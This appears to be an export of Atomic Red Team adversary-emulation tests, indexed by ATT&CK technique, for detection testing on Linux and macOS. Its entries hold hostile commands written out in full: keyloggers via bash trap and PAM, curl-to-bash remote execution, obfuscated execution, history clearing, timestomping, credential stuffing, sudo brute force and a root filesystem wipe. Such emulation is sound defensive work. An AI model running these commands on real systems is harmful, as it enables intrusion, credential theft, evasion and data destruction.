When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = "echo $BASH_COMMAND". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/
trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG
echo "Hello World!"
cat #{output_file}
T1056.001 sh elevated linux SSHD PAM keylogger
Keylogging
Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.
cp -v /etc/pam.d/sshd /tmp/
echo "session required pam_tty_audit.so disable=* enable=* open_only log_passwd" >> /etc/pam.d/sshd
systemctl restart sshd
systemctl restart auditd
ssh #{user_account}@localhost 
whoami
sudo su
whoami
exit
exit
T1056.001 sh elevated linux Auditd keylogger
Keylogging
The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log.
auditctl -a always,exit -F arch=b64 -S execve -k CMDS 
auditctl -a always,exit -F arch=b32 -S execve -k CMDS
whoami; ausearch -i --start now
T1057 sh linux, macos Process Discovery - ps
Process Discovery
Utilize ps to identify processes. Upon successful execution, sh will execute ps and output to /tmp/loot.txt.
ps >> #{output_file}
ps aux >> #{output_file}
T1059.004 sh linux, macos Create and Execute Bash Shell Script
Unix Shell
Creates and executes a simple sh script.
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 sh linux, macos Command-Line Interface
Unix Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in /tmp/art-fish.txt.
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 sh linux Harvest SUID executable files
Unix Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 sh linux LinEnum tool execution
Unix Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
chmod +x #{linenum}
bash #{linenum}
T1059.004 sh linux New script file in the tmp directory
Unix Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which results in the id command being executed.
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 sh linux What shell is running
Unix Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 sh linux What shells are available
Unix Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
cat /etc/shells 
T1059.004 sh linux Command line scripts
Unix Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 sh linux Obfuscated command line scripts
Unix Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to bash, which results in the id command being executed.
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 bash elevated linux Change login shell
Unix Shell
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 sh linux Environment variable scripts
Unix Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 sh linux Detecting pipe-to-shell
Unix Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first time without piping it to bash and the second piping it into bash which executes the echo command.
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 sh linux Current kernel information enumeration
Unix Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
uname -srm
T1059.004 sh linux, macos Shell Creation using awk command
Unix Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 sh linux, macos Creating shell using cpan command
Unix Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 sh linux Shell Creation using busybox command
Unix Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/busybox/
busybox sh &
T1059.004 sh elevated linux, macos emacs spawning an interactive system shell
Unix Shell
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1059.006 sh linux Execute shell script via python's command mode arguement
Python
Download and execute shell script and write to file then execute locally using Python -c (command mode)
which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'
T1059.006 sh linux Execute Python via scripts
Python
Create Python file (.py) that downloads and executes shell script via executor arguments
which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python #{python_script_name}
T1059.006 sh linux Execute Python via Python executables
Python
Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments
which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python -c 'import py_compile; py_compile.compile("#{python_script_name}", "#{python_binary_name}")'
$which_python #{python_binary_name}
T1059.006 sh linux Python pty module and spawn function used to spawn sh or bash
Python
Uses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence [CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence
which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c "import pty;pty.spawn('/bin/sh')"
exit
$which_python -c "import pty;pty.spawn('/bin/bash')"
exit
T1069.001 sh linux, macos Permission Groups Discovery (Local)
Local Groups
Permission Groups Discovery
if [ -x "$(command -v dscacheutil)" ]; then dscacheutil -q group; else echo "dscacheutil is missing from the machine. skipping..."; fi;
if [ -x "$(command -v dscl)" ]; then dscl . -list /Groups; else echo "dscl is missing from the machine. skipping..."; fi;
if [ -x "$(command -v groups)" ]; then groups; else echo "groups is missing from the machine. skipping..."; fi;
if [ -x "$(command -v id)" ]; then id; else echo "id is missing from the machine. skipping..."; fi;
if [ -x "$(command -v getent)" ]; then getent group; else echo "getent is missing from the machine. skipping..."; fi;
cat /etc/group
T1069.002 sh linux Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS
Domain Groups
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" "(objectClass=group)" -s sub -a always -z 1000 dn 
T1070.003 sh linux, macos Clear Bash history (rm)
Clear Command History
Clears bash history via rm
rm #{history_path}
T1070.003 sh linux Clear Bash history (echo)
Clear Command History
Clears bash history via echo
echo "" > #{history_path}
T1070.003 sh linux, macos Clear Bash history (cat dev/null)
Clear Command History
Clears bash history via cat /dev/null
cat /dev/null > #{history_path}
T1070.003 sh linux, macos Clear Bash history (ln dev/null)
Clear Command History
Clears bash history via a symlink to /dev/null
ln -sf /dev/null #{history_path}
T1070.003 sh linux Clear Bash history (truncate)
Clear Command History
Clears bash history via truncate
truncate -s0 #{history_path}
T1070.003 sh linux, macos Clear history of a bunch of shells
Clear Command History
Clears the history of a bunch of different shell types by setting the history size to zero
unset HISTFILE
export HISTFILESIZE=0
history -c
T1070.003 bash linux, macos Clear and Disable Bash History Logging
Clear Command History
Clears the history and disable bash history logging of the current shell and future shell sessions
set +o history
echo 'set +o history' >> ~/.bashrc
. ~/.bashrc
history -c
T1070.003 sh linux, macos Use Space Before Command to Avoid Logging to History
Clear Command History
Using a space before a command causes the command to not be logged in the Bash History file
hostname
whoami
T1070.003 sh linux Disable Bash History Logging with SSH -T
Clear Command History
Keeps history clear and stays out of lastlog,wtmp,btmp ssh -T keeps the ssh client from catching a proper TTY, which is what usually gets logged on lastlog
sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname
T1070.003 bash elevated linux Clear Docker Container Logs
Clear Command History
Clears Docker container logs using the Docker CLI and the truncate command, removing all log entries.
docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log
T1070.004 sh linux, macos Delete a single file - FreeBSD/Linux/macOS
File Deletion
Delete a single file from the temporary directory
rm -f #{file_to_delete}
T1070.004 sh linux, macos Delete an entire folder - FreeBSD/Linux/macOS
File Deletion
Recursively delete the temporary directory and all files contained within it
rm -rf #{folder_to_delete}
T1070.004 sh linux Overwrite and delete a file with shred
File Deletion
Use the shred command to overwrite the temporary file and then delete it
shred -u #{file_to_shred}
T1070.004 sh linux Delete Filesystem - Linux
File Deletion
This test deletes the entire root filesystem of a Linux system. This technique was used by Amnesia IoT malware to avoid analysis. This test is dangerous and destructive, do NOT use on production equipment.
[ "$(uname)" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null
T1070.006 sh linux, macos Set a file's access timestamp
Timestomp
Stomps on the access timestamp of a file
touch -a -t 197001010000.00 #{target_filename}
T1070.006 sh linux, macos Set a file's modification timestamp
Timestomp
Stomps on the modification timestamp of a file
touch -m -t 197001010000.00 #{target_filename}
T1070.006 sh elevated linux, macos Set a file's creation timestamp
Timestomp
Stomps on the create timestamp of a file Setting the creation timestamp requires changing the system clock and reverting. Sudo or root privileges are required to change date. Use with caution.
NOW=$(date +%m%d%H%M%Y)
date 010100001971
touch #{target_filename}
date "$NOW"
stat #{target_filename}
T1070.006 sh linux, macos Modify file timestamps using reference file
Timestomp
Modifies the modify and access timestamps using the timestamps of a specified reference file. This technique was used by the threat actor Rocke during the compromise of Linux web servers.
touch #{target_file_path}
touch -acmr #{reference_file_path} #{target_file_path}
T1070.008 bash elevated linux Copy and Delete Mailbox Data on Linux
Clear Mailbox Data
Copies and deletes mail data on Linux
mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ "$(basename "$file")" != "copy" ]; then cp -R "$file" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*
T1070.008 bash elevated linux Copy and Modify Mailbox Data on Linux
Clear Mailbox Data
Copies and modifies mail data on Linux
mkdir -p /var/spool/mail/copy; for file in /var/spool/mail/*; do if [ "$(basename "$file")" != "copy" ]; then cp -R "$file" /var/spool/mail/copy/; if [ -f "/var/spool/mail/copy/$(basename "$file")" ]; then echo "Modification for Atomic Red Test" >> "/var/spool/mail/copy/$(basename "$file")"; fi; fi; done
T1071.001 sh linux, macos Malicious User Agents - Nix
Web Protocols
This test simulates an infected host beaconing to command and control. Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
curl -s -A "HttpBrowser/1.0" -m3 #{domain}
curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain}
curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain}
curl -s -A "*<|>*" -m3 #{domain}
T1074.001 sh linux, macos Stage data from Discovery.sh
Local Data Staging
Utilize curl to download discovery.sh and execute a basic information gathering shell script
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file}
T1078.003 bash elevated linux Create local account (Linux)
Local Accounts
An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user.
password=$(openssl passwd -1 art)
([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))
su art -c "whoami; exit"
T1078.003 bash elevated linux Reactivate a locked/expired account (Linux)
Local Accounts
A system administrator may have locked and expired a user account rather than deleting it. "the user is coming back, at some stage" An adversary may reactivate a inactive account in an attempt to appear legitimate. In this test we create a "art" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.
useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art
usermod --lock art
usermod --expiredate "1" art
usermod --unlock art
usermod --expiredate "99999" art
su -c whoami art
T1078.003 sh elevated linux Reactivate a locked/expired account (FreeBSD)
Local Accounts
A system administrator may have locked and expired a user account rather than deleting it. "the user is coming back, at some stage" An adversary may reactivate a inactive account in an attempt to appear legitimate. In this test we create a "art" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.
pw useradd art -g wheel -s /bin/sh
echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0
pw lock art
pw usermod art -e +1d
pw unlock art
pw user mod art -e +99d
su art
whoami
exit
T1078.003 bash elevated linux Login as nobody (Linux)
Local Accounts
An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in /etc/passwd before the test is executed and right after the cleanup: # - nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
cat /etc/passwd |grep nobody
chsh --shell /bin/bash nobody
usermod --password $(openssl passwd -1 nobody) nobody
su -c "whoami" nobody
T1078.003 sh elevated linux Login as nobody (freebsd)
Local Accounts
An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in /etc/passwd before the test is executed and right after the cleanup: # - nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
cat /etc/passwd |grep nobody
pw usermod nobody -s /bin/sh
echo $(openssl passwd -1 art) | pw mod user nobody -h 0
su nobody
whoami
exit
T1082 sh linux, macos List OS Information
System Information Discovery
Identify System Info
uname -a >> #{output_file}
if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi
if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi   
if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi
if [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi
uptime >> #{output_file}
cat #{output_file} 2>/dev/null
T1082 bash elevated linux Linux VM Check via Hardware
System Information Discovery
Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware.
if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"; fi
if [ -f /sys/class/dmi/id/chassis_vendor ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"; fi
if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"; fi
if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi
if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"; fi
if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi
if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi
T1082 bash elevated linux Linux VM Check via Kernel Modules
System Information Discovery
Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware.
sudo lsmod | grep -i "vboxsf\|vboxguest"
sudo lsmod | grep -i "vmw_baloon\|vmxnet"
sudo lsmod | grep -i "xen-vbd\|xen-vnif"
sudo lsmod | grep -i "virtio_pci\|virtio_net"
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
T1082 sh linux FreeBSD VM Check via Kernel Modules
System Information Discovery
Identify virtual machine host kernel modules.
kldstat | grep -i "vmm"
kldstat | grep -i "vbox"
T1082 sh linux, macos Hostname Discovery
System Information Discovery
Identify system hostname for FreeBSD, Linux and macOS systems.
hostname
T1082 sh linux, macos Environment variables discovery on freebsd, macos and linux
System Information Discovery
Identify all environment variables. Upon execution, environments variables and your path info will be displayed.
env
T1082 sh linux Linux List Kernel Modules
System Information Discovery
Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching 'vmw' if present.
lsmod
kmod list
grep vmw /proc/modules
T1082 sh linux FreeBSD List Kernel Modules
System Information Discovery
Enumerate kernel modules loaded. Upon successful execution stdout will display kernel modules loaded, followed by list of modules matching 'vmm' if present.
kldstat
kldstat | grep vmm
T1083 sh linux, macos Nix File and Directory Discovery
File and Directory Discovery
Find or discover files on the file system References: http://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/ https://perishablepress.com/list-files-folders-recursively-terminal/
ls -a >> #{output_file}
if [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > #{output_file}; fi;
file */* *>> #{output_file}
cat #{output_file} 2>/dev/null
find . -type f
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
locate *
which sh
T1083 sh linux, macos Nix File and Directory Discovery 2
File and Directory Discovery
Find or discover files on the file system
cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > #{output_file}
if [ -f /etc/mtab ]; then cat /etc/mtab >> #{output_file}; fi;
find . -type f -iname *.pdf >> #{output_file}
cat #{output_file}
find . -type f -name ".*"
T1083 sh linux Identifying Network Shares - Linux
File and Directory Discovery
If the system uses network file systems (e.g., NFS, CIFS), findmnt can help locate paths to remote shares. Attackers may then attempt to access these shares for lateral movement or data exfiltration.
findmnt -t nfs
T1087.001 sh linux Enumerate all accounts (Local)
Local Account
Enumerate all accounts by copying /etc/passwd to another file
cat /etc/passwd > #{output_file}
cat #{output_file}
T1087.001 sh elevated linux, macos View sudoers access
Local Account
(requires root)
if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > #{output_file}; fi;
if [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > #{output_file}; fi;
cat #{output_file}
T1087.001 sh linux, macos View accounts with UID 0
Local Account
View accounts with UID 0
grep 'x:0:' /etc/passwd > #{output_file}
grep '*:0:' /etc/passwd >> #{output_file}
cat #{output_file} 2>/dev/null
T1087.001 sh linux, macos List opened files by user
Local Account
List opened files by user
username=$(id -u -n) && lsof -u $username
T1087.001 sh linux Show if a user account has ever logged in remotely
Local Account
Show if a user account has ever logged in remotely
[ "$(uname)" = 'FreeBSD' ] && cmd="lastlogin" || cmd="lastlog" 
$cmd > #{output_file}
cat #{output_file}
T1087.001 sh linux, macos Enumerate users and groups
Local Account
Utilize groups and id to enumerate users and groups
groups
id
T1087.002 sh linux Active Directory Domain Search
Domain Account
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 sh linux Account Enumeration with LDAPDomainDump
Domain Account
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1090.001 sh linux, macos Connection Proxy
Internal Proxy
Enable traffic redirection. Note that this test may conflict with pre-existing system configuration.
export #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port}
curl #{test_url}
T1090.003 sh elevated linux Tor Proxy Usage - Debian/Ubuntu/FreeBSD
Multi-hop Proxy
This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality. Upon successful execution, the tor proxy service will be launched.
[ "$(uname)" = 'FreeBSD' ] && sysrc tor_enable="YES" && service tor start || sudo systemctl start tor
T1095 manual linux Linux ICMP Reverse Shell using icmp-cnc
Non-Application Layer Protocol
ICMP C2 (Command and Control) utilizes the Internet Control Message Protocol (ICMP), traditionally used for network diagnostics, as a covert communication channel for attackers. By using ICMP, adversaries can send commands, exfiltrate data, or maintain access to compromised systems without triggering network detection systems. This method allows attackers to communicate and control compromised devices while remaining undetected. For more details, check this blog: [ICMP Reverse Shell Blog](https://cryptsus.com/blog/icmp-reverse-shell.html) Important Notes: - Use [icmp-cnc] for the C2 server (Attacker) and [icmpdoor] for the C2 client (Victim). - Binaries work on Ubuntu 22.04.5 LTS; for CentOS Stream or other, use the Python file from the GitHub link [https://github.com/krabelize/icmpdoor]. - Root access is required.
T1098.004 sh linux, macos Modify SSH Authorized Keys
SSH Authorized Keys
Modify contents of <user-home>/.ssh/authorized_keys to maintain persistence on victim host. If the user is able to save the same contents in the authorized_keys file, it shows user can modify the file.
if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo "$ssh_authorized_keys" > ~/.ssh/authorized_keys; fi;
T1105 sh elevated linux, macos rsync remote file copy (push)
Ingress Tool Transfer
Utilize rsync to perform a remote file copy (push)
rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}
T1105 sh linux, macos rsync remote file copy (pull)
Ingress Tool Transfer
Utilize rsync to perform a remote file copy (pull)
rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}
T1105 sh linux, macos scp remote file copy (push)
Ingress Tool Transfer
Utilize scp to perform a remote file copy (push)
scp #{local_file} #{username}@#{remote_host}:#{remote_path}
T1105 sh linux, macos scp remote file copy (pull)
Ingress Tool Transfer
Utilize scp to perform a remote file copy (pull)
scp #{username}@#{remote_host}:#{remote_file} #{local_path}
T1105 bash linux, macos sftp remote file copy (push)
Ingress Tool Transfer
Utilize sftp to perform a remote file copy (push)
sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'
T1105 sh linux, macos sftp remote file copy (pull)
Ingress Tool Transfer
Utilize sftp to perform a remote file copy (pull)
sftp #{username}@#{remote_host}:#{remote_file} #{local_path}
T1105 sh linux, macos whois file download
Ingress Tool Transfer
Download a remote file using the whois utility
timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} "#{query}" > #{output_file}
T1105 sh linux Linux Download File and Run
Ingress Tool Transfer
Utilize linux Curl to download a remote file, chmod +x it and run it.
curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name}
T1110.001 bash elevated linux SUDO Brute Force - Debian
Password Guessing
An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. This test creates the "art" user with a password of "password123", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user
useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art
su -c "cd /tmp; curl -s #{remote_url} | bash" art
T1110.001 bash elevated linux SUDO Brute Force - Redhat
Password Guessing
An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. This test creates the "art" user with a password of "password123", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user
useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password123) art
su art
cd /tmp
curl -s #{remote_url} |bash
T1110.001 bash elevated linux SUDO Brute Force - FreeBSD
Password Guessing
An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. This test creates the "art" user with a password of "password123", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user
pw adduser art -g wheel -s /bin/sh
echo "password123" | pw usermod art -h 0
su art
cd /tmp
curl -s #{remote_url} |bash
T1110.004 bash linux SSH Credential Stuffing From Linux
Credential Stuffing
Using username,password combination from a password dump to login over SSH.
cp "$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt" /tmp/
for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done
T1110.004 sh linux SSH Credential Stuffing From FreeBSD
Credential Stuffing
Using username,password combination from a password dump to login over SSH.
cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/
for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done
T1113 bash linux X Windows Capture
Screen Capture
Use xwd command to collect a full desktop screenshot and review file with xwud
xwd -root -out #{output_file}
xwud -in #{output_file}
T1113 sh linux X Windows Capture (freebsd)
Screen Capture
Use xwd command to collect a full desktop screenshot and review file with xwud
xwd -root -out #{output_file}
xwud -in #{output_file}
T1113 bash linux Capture Linux Desktop using Import Tool
Screen Capture
Use import command from ImageMagick to collect a full desktop screenshot
import -window root #{output_file}
T1113 sh linux Capture Linux Desktop using Import Tool (freebsd)
Screen Capture
Use import command from ImageMagick to collect a full desktop screenshot
import -window root #{output_file}
T1115 sh linux Add or copy content to clipboard with xClip
Clipboard Data
Utilize Linux Xclip to copy history and place in clipboard then output to a history.txt file. Successful execution will capture history and output to a file on disk.
apt install xclip -y
history | tail -n 30 | xclip -sel clip
xclip -o > history.txt
T1124 sh linux, macos System Time Discovery in FreeBSD/macOS
System Time Discovery
Identify system time. Upon execution, the local computer system time and timezone will be displayed.
date
T1132.001 sh macos, linux Base64 Encoded data.
Standard Encoding
Utilizing a common technique for posting base64 encoded data.
echo -n 111-11-1111 | base64
curl -XPOST #{base64_data}.#{destination_url}
T1132.001 sh linux Base64 Encoded data (freebsd)
Standard Encoding
Utilizing a common technique for posting base64 encoded data.
echo -n 111-11-1111 | b64encode -r -
curl -XPOST #{base64_data}.#{destination_url}
T1135 bash elevated linux Network Share Discovery - linux
Network Share Discovery
Network Share Discovery using smbstatus
smbstatus --shares
T1135 sh elevated linux Network Share Discovery - FreeBSD
Network Share Discovery
Network Share Discovery using smbstatus
smbstatus --shares
T1136.001 bash elevated linux Create a user account on a Linux system
Local Account
Create a user via useradd
